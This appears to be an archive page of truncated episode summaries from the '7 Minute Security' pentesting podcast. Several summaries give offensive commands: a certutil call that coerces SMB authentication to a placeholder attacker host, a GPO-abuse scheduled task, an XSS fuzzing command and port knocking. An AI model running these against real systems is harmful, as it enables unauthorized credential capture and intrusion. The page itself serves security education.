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7 Minute Security is a weekly information security podcast focusing on penetration testing, blue teaming and building a career in security. The podcast also features in-depth interviews with industry leaders who share their insights, tools, tips and tricks for being a successful security engineer.
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Hey friends, we’re doing a little departure from our normal topics and focusing on how to create a security knowledgebase (is that one word or two?) using Docusaurus! It’s cool, it’s free, it’s from Meta and you can get up and going in just a few commands – check out their getting started guide to get rockin’ in about 5 minutes. Important files inc…
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Today’s tale of pentest pwnage includes some fun stuff, including: SharpGPOAbuse helps abuse vulnerable GPOs! Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address. When you’re ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder. I’m not 100% sure …
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Hi friends, today’s a tale full of test tips and tools to help you in your adventures in pentesting! SCCM Exploitation SCCM Exploitation: The First Cred Is the Deepest II w/ Gabriel Prud’homme – fantastic resource for learning all about attacking SCCM – starting from a perspective of zero creds CMLoot – find interesting files stored on (System Cent…
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Today I recap a two week persona/biz road trip and talk about the security stuff that got sprinkled into it, including: Family members who don’t care about their personal security Weakpass – a cool collection of word lists for brute-forcing and spraying that I’d never heard of Working on two security Webinars for Netwrix (here’s part 1: Mastering P…
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Today we have a fun featured interview with my new friend Stu Musil of Ambient Consulting I had a great time talking with Stu about bashing come common misconceptions people have about working with recruiters, plus tackling some frequently asked questions: How do you properly vet a recruiter you don’t know, but who offers a job opportunity you’re i…
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Hey friends, today we talk about some not-so-glamorous but ever-so-important stuff related to running a cybersecurity consultancy, including: Taking an inventory of all the SaaS stuff your business uses – to keep an eye on spending, know when services are expiring, and track which credit card the services are tied to (so the services don’t almost g…
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Hey friends, today we continue our series all about migrating from VMWare to the world Proxmox! Specifically: Getting my first Proxmox-based NUCs out in the field for live engagements! Pulling the trigger on two bare-metal Proxmox servers to eventually replace my vCenter environment. OVHCloud made it super easy to to add Proxmox to those bare-metal…
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Hey friends, today we’ve got a security milkshake episode about Web app pentesting. Specifically we talk about: Burp Suite Enterprise Caido – a lightweight alternative to Burp wfuzz – Web fuzzer. Using a proxy:wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt –sc 200 “https://somedomain.com/shopping?&qty=%2FUZZ” -p 10.0.7.11:8080 KNOXSS…
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Road trip time! I’ve been traveling this week doing some fun security projects, and thought all this highway time would be a perfect opportunity to take a dip into the 7MS mail bag! Today’s questions include: How do you price internal network penetration tests? Have you ever had to deal with a difficult client situation, and how did you resolve it?…
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Today’s tale of pentest pwnage is all about my new favorite attack called SPN-less RBCD. We did a teaser episode last week that actually ended up being a full episode all about the attack, and even step by step commands to pull it off. But I didn’t want today’s episode to just be “Hey friends, check out the YouTube version of this attack!” so I als…
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Sadly, the Broadcom acquisition of VMWare has hit 7MinSec hard – we love running ESXi on our NUCs, but ESXi free is no longer available. To add insult to injury, our vCenter lab at OVHcloud HQ got a huge price gouge (due to license cost increase; not OVH’s fault). Now we’re exploring Proxmox as an alternative hypervisor, so we’re using today’s epis…
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Today we revisit a series about eating the security dog food – in other words, practicing what we preach as security gurus! Specifically we talk about: We’re going to get a third-party assessment on 7MinSec (the business) Tips for secure email backup/storage Limiting the retention of sensitive data you store in cloud places…
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Today we’re talking about tips to deal with stress and anxiety: It sounds basic, but take breaks – and take them in a different place (don’t just stay in the office and do more screen/doom-scrolling) I’ve never gotten to a place in my workload where I go “Ahhh, all caught up!” so I should stop striving to hit that invisible goal. Chiropractic and b…
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We did something crazy today and recorded an episode that was 7 minutes long! Today we talk about some things that have helped us out in recent pentests: When using Farmer to create “trap” files that coerce authentication, I’ve found way better results using Windows Search Connectors (.searchConnector-ms) files This matrix of “can I relay this to t…
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Today’s episode is all about writing reports in Sysreptor. It’s awesome! Main takeaways: The price is free (they have a paid version as well)! You can send findings and artifacts directly to the report server using the reptor Python module Warning: Sysreptor only exports to PDF (no Word version option!) Sysreptor has helped us write reports faster …
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Hey friends, today we’ve got a tale of pentest pwnage that covers: Passwords – make sure to look for patterns such as keyboard walks, as well as people who are picking passwords where the month the password changed is part of the password (say that five times fast)! Making sure you go after cached credentials Attacking SCCM – Misconfiguration Manag…
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Hey friends, today we have a super fun interview with Andrew Morris of GreyNoise to share. Andrew chatted with us about: Young Andrew’s early adventures in hacking his school’s infrastructure (note: don’t try this at home, kids!) Meeting a pentester for the first time, and getting his first pentesting job Spinning up a box on the internet, having i…
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Hey friends, sorry I’m so late with this (er, last) week’s episode but I’m back! Today is more of a prep for tales of pentest pwnage, but topics covered include: Make sure when you’re snafflin‘ that you check for encrypted/obfuscated logins and login strings – it might not be too tough to decrypt them! On the defensive side, I’ve found myself getti…
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Hello friends, we’re still deep in the podcast trenches this quarter and wanted to share some nuggets of cool stuff we’ve been learning along the way: Snaffler – pairs nicely with PowerHuntShares to find juicy tidbits within file/folder shares Group3r – helps you find interesting and potentially abusable Group Policy Object configurations Farmer – …
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Hey friends, sorry for the late episode but I've been deep in the trenches of pentest adventures. I'll do a more formal tale of pentest pwnage when I come up for air, but for now I wanted to share some tips I've picked up from recent engagements: GraphRunner - awesome PowerShell toolkit for interacting with Microsoft Graph API. From a pentesting pe…
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Hey friends, today we cover a funstrating (that's fun + frustrating) issue we had with our DIY pentest dropboxes. TLDL: The preseed file got jacked because I had a bad Kali metapackage in it. While I was tinkering around with preseed files, I decided it would be more efficient to have the Kali ISO call that preseed file directly over HTTP (rather t…
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Hey friends, today is a first impressions episode about Sysreptor, which according to their GitHub page, is a fully customisable, offensive security reporting solution designed for pentesters, red teamers and other security-related people alike. It is easy to stand up with Docker, has built-in MFA and a great hybrid WYSIWYG/code editor. The only sc…
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Hey friends, today our pal Hackernovice joins us for a tool (actually two tools!) release party: EvilFortiAuthenticator - it's like a regular FortiAuthenticator, but evil. This tool allows you to capture the FortiAuthenticator API and subsequently steal the entire device's config, subsequently allowing you to restore the config to a second server a…
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Today our pals Bjorn Kimminich from OWASP and Paul from Project7 and TheUnstoppables.ai join us as we kick off a series all about hacking the OWASP Juice Shop, which is "probably the most modern and sophisticated insecure web application!" We got a few wins on the Juice Shop score board today: Found the score board Bullied the chatbot Fired a DOM X…
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Today our friend Amanda Berlin, Lead Incident Detection Engineer at Blumira, joins us to talk about being more mentally healthy in 2024! P.S. - did you miss Amanda's past visits to the program? Then check out episode 518, 536 and 588. Be sure to check out the next edition of Amanda's Defensive Security Handbook when it comes out in later January, 2…
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Today we tease two upcoming tool releases (shooting for Q1, 2024): TCMLobbyBBQ - a Python script for PC players of The Texas Chain Saw Massacre game to help players get out of lobbies and into live games ASAP! The script uses PyAutoGUI to take screenshots of what part of the game you're in, then make appropriate key presses and mouse clicks to get …
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Today I look at potentially replacing Splashtop and UptimeRobot (check out our episode about it here) with Tailscale and Uptime Kuma. The missing link (which I'd love some help with) is answering this security question: how can I setup Tailscale so that my 7MinSec testing box can connect to all these NUCs spread around the globe, but those NUCs can…
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Today our pal Nate Schmitt (you may remember him from his excellent Dealing with Rejection: A DMARC Discussion Webinar) joins us to talk about breaking up with Active Directory. He covers: Why would you want to consider removing AD from your environment? What are common items to plan for? What steps should you take to efficiently plan a migration? …
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Hey friends, today I share my experience working with ChatGPT, Ollama.ai, PentestGPT and privateGPT to help me pentest Active Directory, as well as a machine called Pilgrimage from HackTheBox. Will AI replace pentesters as we know them today? In my humble opinion: not quite yet. Check out today's episode to hear more, and please join me on Wednesda…
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Today we talk about our first experience working through the responsible disclosure process after finding vulnerabilities in a security product. We cannot share a whole lot of details as of right now, but wanted to give you some insight into the testing/reporting process thus far, which includes the use of: BulletsPassView MITMsmtp mitmproxy…
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Today our good buddy Paul and I keep trying to hack the VulnHub machine based on the movie Billy Madison (see part 1 and 2 and 3). In today's final chapter, Paul and I: Find Eric's secret SSH back door Locate and decrypt a hidden file with Billy's homework Build wordlists with cewl Save Billy from the evil clutches of Eric Gordon!!!…
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Today we had a blast talking with Robert McCurdy about JAMBOREE (Java-Android-Magisk-Burp-Objection-Root-Emulator-Easy)! JAMBOREE allows you to quickly spin up a portable Git/Python/Java environment and much more! From a pentesting POV, you can whip up an Android pentesting environment, BloodHound/SharpHound combo, Burp Suite...the list goes on!…
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After about a year break (last edition of this series was in October, 2022, we're back with an updated episode of How to Succeed in Business Without Really Crying. We cover: Why we're not planning on selling the business any time soon Fast Google Dorks Scan Using ProtonVPN via command line Our pre first impressions of a pentesting SaaS tool you've …
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Today we're joined by Matt Warner of Blumira (remember him from episodes #551 and #529 and #507?) to talk about choosing the right XDR strategy! There's a lot to unpack here. Are EDR, MDR and XDR related? Can you get them all from one vendor - and should you? Do you run them on-prem, in the cloud, or both? Join us as Matt answers these questions an…
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Hey friends, today my Paul and I kept trying to hack the VulnHub machine based on the movie Billy Madison (see part 1 and 2). In our journey we learned some good stuff: Port knocking is awesome using utilities like knock: /opt/knock/knock 10.0.7.124 1466 67 1469 1514 1981 1986 Sending emails via command line is made (fairly) easy with swaks: swaks …
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